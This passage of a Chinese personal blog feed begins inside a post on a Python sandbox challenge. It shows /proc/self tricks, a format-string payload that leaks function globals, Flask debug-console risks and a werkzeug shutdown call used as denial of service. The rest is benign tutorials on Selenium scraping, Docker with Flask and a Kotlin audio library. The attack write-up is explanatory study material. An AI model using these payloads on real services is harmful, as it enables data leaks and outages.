/proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。</p><p>还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link</p><p>巨佬在做了一些常见的信息获取方式后,也试了一些关键字,然后就直接上手<code>/proc/self/</code>这个目录了(不愧是bin巨佬)</p><p>读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252154096.png"></p><p>/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。</p><p>(同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252155528.png"></p><p>覆写got表我只在一些pwn题见过,python的PWN相关我一无所知(甚至没有我对pyc文件的逆向了解的多,乐),感觉非常难非常硬核,感觉现在以我的智商可能难以掌握()</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252155689.png"></p><p>巨佬一直在尝试compile,并且试图向<code>/proc/self/mem</code>写入巨大多垃圾数据,应该是要搞堆栈溢出啥的,但好像没有什么太好的反馈(当然其他还有一些操作咱也看不懂QAQ)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252155838.png"></p><p>说回读取文件目录的方法,一开始我看巨佬的操作我以为是通过<code>/proc/self/exe</code>啥的(毕竟c的话,确实可以用readlink这个函数),但是佬用的方法事利用format函数和八进制绕过,最后采取了lambda表达式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"{0.__globals__}".format(lambda x:x)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252155959.png"></p><p>不仅地址泄露了,函数什么的都泄露了(地址泄露了open也能用这些不是迟早的事吗x)</p><h2 id="0x03Flask框架问题"><a href="#0x03Flask框架问题" class="headerlink" title="0x03Flask框架问题"></a>0x03Flask框架问题</h2><h3 id="debug模式"><a href="#debug模式" class="headerlink" title="debug模式"></a>debug模式</h3><p>Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:</p><p>1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞</p><p>2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:<a href="https://link.zhihu.com/?target=https://www.anquanke.com/post/id/86961">文件解压之过 Python中的代码执行</a>)</p><p>3、<strong>debug页面中包含Python的交互式shell,可以执行任意Python代码</strong></p><p>但是,进入这个Python shell是需要输入一个PIN码的。PIN码的生成和几个与机器以及脚本的参数有关,比较难;当然,Debug模式要是没开启PIN码验证的话,是可以直接进入shell的</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252155210.png"></p><h3 id="request-environ"><a href="#request-environ" class="headerlink" title="request.environ"></a>request.environ</h3><p>在Flask的官方文档中是这样介绍request的:对于 Web 应用,与客户端发送给服务器的数据交互至关重要。在 Flask 中由全局的 request 对象来提供这些信息。</p><p>从Flask模块导入request:from flask import request</p><p>request的属性众多,其中的environ,官方文档给出的描述是:WSGI隐含的环境配置。</p><p>好啊</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252156624.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252156130.png"></p><h3 id="werkzeug-server-shutdown"><a href="#werkzeug-server-shutdown" class="headerlink" title="werkzeug.server.shutdown"></a>werkzeug.server.shutdown</h3><p>request.environ字典中一个名为 shutdown_server 的方法名分配的键为 werkzeug.server.shutdown</p><p>注射request.environ[‘werkzeug.server.shutdown’]()会造成拒绝服务。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252156023.png"></p><p>捏麻麻滴,我是真的之前不知道flask的这些细节😅😅😅</p><p>我真的操了,最无语的是,<code>request.environ['werkzeug.server.shutdown']()</code>这玩意在我的过滤规则下根本不用绕过😅。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252156231.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252156972.png"></p><p>😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅😅</p><hr><h2 id="0x04参考资料"><a href="#0x04参考资料" class="headerlink" title="0x04参考资料"></a>0x04参考资料</h2><ol><li>Linux的/proc/self/学习: <a href="https://blog.csdn.net/cjdgg/article/details/119860355">https://blog.csdn.net/cjdgg/article/details/119860355</a></li><li>-—-已搬运——-Linux的/proc/self/学习 ++ CTF例题: <a href="https://blog.csdn.net/Zero_Adam/article/details/114853022">https://blog.csdn.net/Zero_Adam/article/details/114853022</a></li><li>渗透系列之flask框架开启debug模式漏洞分析: <a href="https://cloud.tencent.com/developer/article/1726330">https://cloud.tencent.com/developer/article/1726330</a></li></ol>]]></content>
<categories>
<category> 安全 </category>
</categories>
<tags>
<tag> Flask </tag>
<tag> Python </tag>
</tags>
</entry>
<entry>
<title>Selenium爬虫入门</title>
<link href="/2021/11/19/selenium%E7%88%AC%E8%99%AB%E5%85%A5%E9%97%A8/"/>
<url>/2021/11/19/selenium%E7%88%AC%E8%99%AB%E5%85%A5%E9%97%A8/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252135855.jpg"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>曾经我以为爬虫只要学会get和post就行了</p><p>直到遇上了某些不分离的js原生网页</p><p>最后,是Selenium拯救了我</p><h2 id="0x01环境搭建"><a href="#0x01环境搭建" class="headerlink" title="0x01环境搭建"></a>0x01环境搭建</h2><h3 id="安装selenium模块"><a href="#安装selenium模块" class="headerlink" title="安装selenium模块"></a><strong>安装selenium模块</strong></h3><p>这里是使用python里的selenium模块;java的话,也有selenium的jar包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install -U selenium</span><br></pre></td></tr></table></figure><p>我用的是PyCharm,可以直接在里面的包管理工具添加这个包</p><h3 id="安装浏览器"><a href="#安装浏览器" class="headerlink" title="安装浏览器"></a>安装浏览器</h3><p>安装一款浏览器(谷歌,火狐,IE),selenium是基于浏览器运作的,想要selenium能驱动浏览器,必须要安装浏览器驱动,将驱动放到python的安装根目录下即可</p><p>此处以谷歌浏览器为例:谷歌驱动(chromedriver)下载地址:<a href="http://npm.taobao.org/mirrors/chromedriver">http://npm.taobao.org/mirrors/chromedriver</a></p><p><img src="http://101.35.52.235/wp-content/uploads/2021/11/%E5%9B%BE%E7%89%87-14.png"></p><h2 id="0x02使用"><a href="#0x02使用" class="headerlink" title="0x02使用"></a>0x02使用</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">from selenium import webdriver #引用selenium</span><br><span class="line">driver=webdriver.Chrome() #启动谷歌浏览器</span><br><span class="line">driver.get("http://www.baidu.com") #访问一个网页 </span><br><span class="line">driver.quit() #退出浏览器</span><br><span class="line">driver.get("http://www.baidu.com") #访问浏览器</span><br><span class="line">driver.back() #回到上一页</span><br><span class="line">driver.forward() #回到下一页</span><br><span class="line">driver.refresh() #刷新</span><br><span class="line">print(driver.title) #获取标题</span><br><span class="line">print(driver.current_url) #获取网址</span><br><span class="line">print(driver.current_window_handle) #获取到句柄</span><br><span class="line">print(driver.get_window_size()) #获取浏览器尺寸</span><br><span class="line">print(driver.get_screenshot_as_file('')) #获取截图</span><br><span class="line">driver.maximize_window() #窗口最大化</span><br><span class="line">driver.minimize_window() #窗口最小化</span><br></pre></td></tr></table></figure><h2 id="0x03示例"><a href="#0x03示例" class="headerlink" title="0x03示例"></a>0x03示例</h2><p>这次参加了学校里的一场比赛,其中有一道题就是爬取各个购物平台的商品数据</p><p>我第一个选择了某宝,这里放出示例代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">from selenium import webdriver</span><br><span class="line">from selenium.common.exceptions import TimeoutException</span><br><span class="line">from selenium.webdriver.common.by import By</span><br><span class="line">from selenium.webdriver.support import expected_conditions as EC</span><br><span class="line">from selenium.webdriver.support.wait import WebDriverWait</span><br><span class="line">from selenium.webdriver.common.keys import Keys</span><br><span class="line">from urllib.parse import quote</span><br><span class="line">from pyquery import PyQuery as pq</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">browser = webdriver.Chrome()</span><br><span class="line"># 需要手动扫码登陆淘宝!</span><br><span class="line">wait = WebDriverWait(browser, 20)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def taobao_index_page(page, text):</span><br><span class="line"> print('正在爬取第', page, '页')</span><br><span class="line"> try:</span><br><span class="line"> # 网址url</span><br><span class="line"> url = 'https://s.taobao.com/search?q=' + quote(text)</span><br><span class="line"> browser.get(url)</span><br><span class="line"> time.sleep(1.5)</span><br><span class="line"> if page > 1</span><br><span class="line"> input = wait.until(</span><br><span class="line"> EC.presence_of_element_located((By.CSS_SELECTOR, '#mainsrp-pager div.form > input'))</span><br><span class="line"> )</span><br><span class="line"> submit = wait.until(</span><br><span class="line"> EC.element_to_be_clickable((By.CSS_SELECTOR, '#mainsrp-pager div.form > span.btn.J_Submit'))</span><br><span class="line"> )</span><br><span class="line"> input.clear()</span><br><span class="line"> input.send_keys(page)</span><br><span class="line"> # 模拟点击确认</span><br><span class="line"> submit.click()</span><br><span class="line"> # 找到每页数据的标签</span><br><span class="line"> wait.until(</span><br><span class="line"> EC.text_to_be_present_in_element((By.CSS_SELECTOR, '#mainsrp-pager li.item.active > span'), str(page))</span><br><span class="line"> )</span><br><span class="line"> wait.until(</span><br><span class="line"> EC.presence_of_element_located((By.CSS_SELECTOR, '.m-itemlist .items .item'))</span><br><span class="line"> )</span><br><span class="line"> # 调用函数,获取数据</span><br><span class="line"> taobao_get_products()</span><br><span class="line"> except TimeoutException:</span><br><span class="line"> taobao_index_page(page, text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def taobao_get_products():</span><br><span class="line"> # page_source获取网页源代码</span><br><span class="line"> html = browser.page_source</span><br><span class="line"> doc = pq(html)</span><br><span class="line"> items = doc('#mainsrp-itemlist .items .item').items()</span><br><span class="line"> for item in items:</span><br><span class="line"> # 数据存入字典</span><br><span class="line"> product = {</span><br><span class="line"> 'title': item.find('.title').text(),</span><br><span class="line"> 'price': item.find('.price').text(),</span><br><span class="line"> 'image': item.find('.pic .img').attr('data-src'),</span><br><span class="line"> }</span><br><span class="line"> print(product)</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"> for i in range(1, 10):#爬取1-9页</span><br><span class="line"> taobao_index_page(i, "iphone13")</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><p>另外,对于某些页面的懒加载问题,可以自己想想看如何解决(</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> Selenium </tag>
<tag> 爬虫 </tag>
</tags>
</entry>
<entry>
<title>Docker+Flask构建后端的踩坑记录</title>
<link href="/2021/11/04/dockerflask%E6%9E%84%E5%BB%BA%E5%90%8E%E7%AB%AF%E7%9A%84%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/"/>
<url>/2021/11/04/dockerflask%E6%9E%84%E5%BB%BA%E5%90%8E%E7%AB%AF%E7%9A%84%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252206491.png"></p><p>今天第一次尝试用flask构建自己的后端项目,其实一切都挺顺利的。直到部署这个环节,因为我对于Flask和Docker不了解,踩了不少坑。</p><p>docker这个东西,对于我这个初学者来说,dockerfile是好文明,但是docker本身不是。</p><p>在一开始,我总是尝试pull ubuntu镜像,然后再dockerfile里面写上apt-get install和pip,其实何必呢,完全就有官方的python环境镜像。而且,手动更改系统镜像,不一定能达到效果,就好比今天Python环境搞了半天,发现跑不起来,因为期间的软链接创建不成功,无法执行<code>python app.py</code>这个命令(但是它自带的python3没有问题,但是我要的是python2)</p><p>写了个自动搭建dockerfile,仅供参考</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">//FlaskApp </span><br><span class="line">// ├── requirements.txt</span><br><span class="line">// ├── Dockerfile</span><br><span class="line">// └── app</span><br><span class="line">// └── app.py</span><br><span class="line">// └── <other .py files></span><br><span class="line">//这是我的目录结构</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">FROM python:3.7</span><br><span class="line">//直接pull python3.7</span><br><span class="line"></span><br><span class="line">MAINTAINER picpo "[email protected]"</span><br><span class="line"></span><br><span class="line">COPY ./requirements.txt /requirements.txt</span><br><span class="line"></span><br><span class="line">WORKDIR /</span><br><span class="line"></span><br><span class="line">RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple some-package</span><br><span class="line"></span><br><span class="line">COPY . /</span><br><span class="line"></span><br><span class="line">ENTRYPOINT [ "python" ,"app/app.py" ]</span><br></pre></td></tr></table></figure><p>Dockerfile的基本指令有十三个,上面用到了部分;</p><ul><li><p><strong>FROM</strong> - 所有Dockerfile的第一个指令都必须是 <code>FROM</code> ,用于指定一个构建镜像的基础源镜像,如果本地没有就会从公共库中拉取,没有指定镜像的标签会使用默认的latest标签,如果需要在一个Dockerfile中构建多个镜像,可以使用多次。 </p></li><li><p><strong>MAINTAINER</strong> - 描述镜像的创建者,名称和邮箱。 </p></li><li><p><strong>RUN</strong> - RUN命令是一个常用的命令,执行完成之后会成为一个新的镜像,通常用于运行安装任务从而向映像中添加额外的内容。在这里,我们需更新包,安装 <code>python3</code> 和 <code>pip</code> 。在第二个 <code>RUN</code> 命令中使用 <code>pip</code> 来安装 <code>requirements.txt</code> 文件中的所有包。 </p></li><li><p><strong>COPY</strong> - 复制本机文件或目录,添加到指定的容器目录, 本例中将 <code>requirements.txt</code> 复制到镜像中。 </p></li><li><p><strong>WORKDIR</strong> - 为RUN、CMD、ENTRYPOINT指令配置工作目录。可以使用多个WORKDIR指令,后续参数如果是相对路径,则会基于之前命令指定的路径。 </p></li><li><p><strong>ENTRYPOINT</strong> - 在启动容器的时候提供一个默认的命令项。</p></li></ul><p>现在 <code>Dockerfile</code> 已经准备好了,而且也了解了Docker的构建过程,接下来为我们的应用程序创建Docker映像:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build -t docker-flask:0.1 .</span><br></pre></td></tr></table></figure><p>容器化的优点,就是开发的应用程序通过容器部署,从一开始就确保了应用程序构建的环境是干净的,从而消除了交付过程中的意外情况。</p><p>但是呢,在开发应用程序的过程中,更重要的是要快速重新构建和测试,以检查验证过程中的每个中间步骤。为此,web应用程序的开发人员需要依赖于Flask等框架提供的自动重启功能(Debug模式下,修改代码自动重启)。而这一功能也可以在容器中使用。</p><p>为了启用自动重启,在启动Docker容器时将主机中的开发目录映射到容器中的app目录。这样Flask就可以监听主机中的文件变化(通过映射)来发现代码更改,并在检测到更改时自动重启应用程序。</p><p>此外,还需要将应用程序的端口从容器转发到主机。这是为了能够让主机上的浏览器访问应用程序。</p><p>因此,启动Dokcer容器时需要使用 <em>volume-mapping</em> 和 <em>port-forwarding</em> 选项:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run --name flask_app -v $PWD/app:/app -p 1000:5000 docker-flask:0.1</span><br></pre></td></tr></table></figure><p>该命令将会执行以下操作:</p><ul><li><p>基于之前构建的 <code>docker-flask</code> 镜像启动一个容器; </p></li><li><p>这个容器的名称被设置为 <code>flask_app</code> 。如果没有 <code>——name</code> 选项,Docker将为容器生成一个名称。显式指定名称可以帮助我们定位容器(用来停止等操作); </p></li><li><p><code>-v</code> 选项将主机的app目录挂载到容器; </p></li><li><p><code>-p</code> 选项将容器的端口映射到主机。</p></li></ul><p>现在可以通过<code>http://localhost:5000</code> 或者 <code>http://0.0.0.0:5000/</code> 访问到应用</p><p>然而,然而,第二个坑就是我今天对Flask掌握不足的问题了(,在成功做好端口映射后,我在宿主机环境一直一直<code>curl localhost:10000</code>失败,返回的字符是<code>curl: (52) Empty reply from server</code>。很难绷得住,因为这端口好像转发成功了,但是啥也没有,其他的没有服务的端口都是refuse,压根没开,所以这是咋回事呢?我百思不得其解。</p><p>终于找到了一篇讲Flask的博客(<a href="https://blog.csdn.net/qq_26591517/article/details/86423838">https://blog.csdn.net/qq_26591517/article/details/86423838</a>),里面有这么提到:</p><p>“用python开启flask web服务时:(1)你只需要本机访问,那ip只要不设置为0.0.0.0就可以,正常访问就好。(2)如果你需要外网访问,ip需要设置为0.0.0.0,此时,在本机上访问需要使用默认的127.0.0.1(也就是你不设置ip时默认的ip),在外网上访问则需要使用你本机的ip,不要使用0.0.0.0”</p><p>原来如此,我立马把</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">if __name__ == "__main__":</span><br><span class="line"> app.run()</span><br></pre></td></tr></table></figure><p>改为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">if __name__ == "__main__":</span><br><span class="line"> app.run(host="0.0.0.0")</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252207219.png"></p><p>成功了!</p>]]></content>
<categories>
<category> 后端 </category>
</categories>
<tags>
<tag> Docker </tag>
<tag> Flask </tag>
</tags>
</entry>
<entry>
<title>Flask的食用方法</title>
<link href="/2021/11/04/flask%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/"/>
<url>/2021/11/04/flask%E7%9A%84%E9%A3%9F%E7%94%A8%E6%96%B9%E6%B3%95/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252214256.png"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>一直觉得python写后端是件很方便的事,所以我打算整一个Flask的学习</p><h2 id="0x01PyCharm导入环境"><a href="#0x01PyCharm导入环境" class="headerlink" title="0x01PyCharm导入环境"></a>0x01PyCharm导入环境</h2><p>File-Settings-Project Interpreter,如下图所示:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215727.png"></p><p>添加Flask server:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215040.png"></p><h2 id="0x02Hello-Flask"><a href="#0x02Hello-Flask" class="headerlink" title="0x02Hello,Flask!"></a>0x02Hello,Flask!</h2><p>新建一个app.py,什么名字都行,记住不要Flask,会冲突</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">from flask import Flask</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line">@app.route('/')</span><br><span class="line">def hello_world():</span><br><span class="line"> return 'Hello,Flask!'</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> app.run()</span><br></pre></td></tr></table></figure><p>我们点击运行,即终端输出:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215056.png"></p><p>打开网址:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252215977.png"></p>]]></content>
<categories>
<category> 后端 </category>
</categories>
<tags>
<tag> Flask </tag>
<tag> PyCharm </tag>
</tags>
</entry>
<entry>
<title>Nekobot开发心得:Silk4j食用笔记</title>
<link href="/2021/10/11/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97%EF%BC%9Asilk4j%E9%A3%9F%E7%94%A8%E7%AC%94%E8%AE%B0/"/>
<url>/2021/10/11/nekobot%E5%BC%80%E5%8F%91%E5%BF%83%E5%BE%97%EF%BC%9Asilk4j%E9%A3%9F%E7%94%A8%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252204000.png"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>在进行mirai机器人Nekobot的开发过程中,在论坛中发现了大佬写的silk4j–JVM的语音编码组件,觉得用起来挺不错的,于是去对应的仓库进行了一个习的学,感觉收获挺大的</p><p>仓库链接奉上:<a href="https://github.com/mzdluo123/silk4j">https://github.com/mzdluo123/silk4j</a></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205994.png"></p><h2 id="0x01导入依赖"><a href="#0x01导入依赖" class="headerlink" title="0x01导入依赖"></a>0x01导入依赖</h2><p>我是kotlin编译的,需要在你的build.gradle.kts里面加上一些东西</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// 要使用maven仓库导入,需要先为你的账号生成一个访问token才能正常拉取</span><br><span class="line">repositories {</span><br><span class="line"> maven { </span><br><span class="line"> url 'https://maven.pkg.github.com/mzdluo123/silk4j'</span><br><span class="line"> credentials {</span><br><span class="line"> username = '你的用户名'</span><br><span class="line"> password = '你的token'</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">dependencies {</span><br><span class="line"> implementation("io.github.mzdluo123:silk4j:版本号")</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>token的获取方式是在github的<a href="https://github.com/settings/profile">Settings</a> / <a href="https://github.com/settings/tokens">Developer settings</a> ,里面的话,会有一个Personal access tokens,点进去,自己取个标识,然后注意一下期限,我是选择永不过期,最后范围我是全勾上了。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205155.png"></p><p>好,最后会生成一个token,把它复制粘贴到相应位置(切勿泄露!!!)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252205415.png"></p><h2 id="0x02食用"><a href="#0x02食用" class="headerlink" title="0x02食用"></a>0x02食用</h2><p>其实官方说明已经讲的很清楚了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">// 请使用这个类完成编码</span><br><span class="line">// 所有的编码默认都只使用左声道</span><br><span class="line">public class AudioUtils {</span><br><span class="line">//使用之前需要初始化</span><br><span class="line">public static void init() throws IOException {</span><br><span class="line">}</span><br><span class="line">// 初始化时可选指定缓存目录,未指定则使用系统目录</span><br><span class="line">public static void init(File tmpDir) throws IOException {</span><br><span class="line">}</span><br><span class="line">// 以下为编码函数,只可以同时进行一个编码任务,如需pcm文件请看源代码</span><br><span class="line">// 返回的文件在缓存目录内,使用完毕请删除</span><br><span class="line">public static File mp3ToSilk(File mp3File) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">public static File mp3ToSilk(InputStream mp3FileStream) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">public static File silkToMp3(File silkFile) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">public static File silkToMp3(InputStream silkFileStream) throws IOException {</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其实本地很好处理。那就以我最近使用的文字转语音api为例,返回的一条mp3文件的下载链接。与之前返回图片类似,将网络的资源转化为InputStream流,再使用silk4j组件的方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">//获取网络图片</span><br><span class="line"> fun getNetImg(urlstr: String): InputStream? {</span><br><span class="line"> val url = URL(urlstr)</span><br><span class="line">// return try { 实有异常了再说</span><br><span class="line"> return url.openConnection().getInputStream()</span><br><span class="line">// }catch(err:java.io.IOException){</span><br><span class="line">// null</span><br><span class="line">// }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">getNetImg(mp3str).use {</span><br><span class="line"> if (it != null) {//暂时使用img方法获取流</span><br><span class="line"> AudioUtils.init()</span><br><span class="line"> val silk: File = AudioUtils.mp3ToSilk(it)</span><br><span class="line"> group.sendMessage(silk.toExternalResource().uploadAsVoice(group))</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> Java </tag>
<tag> Kotlin </tag>
<tag> Mirai </tag>
</tags>
</entry>
<entry>
<title>Ubuntu18以上系统64位的glibc的payload调用system函数时,所需注意的堆栈平衡问题</title>
<link href="/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/"/>
<url>/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/</url>
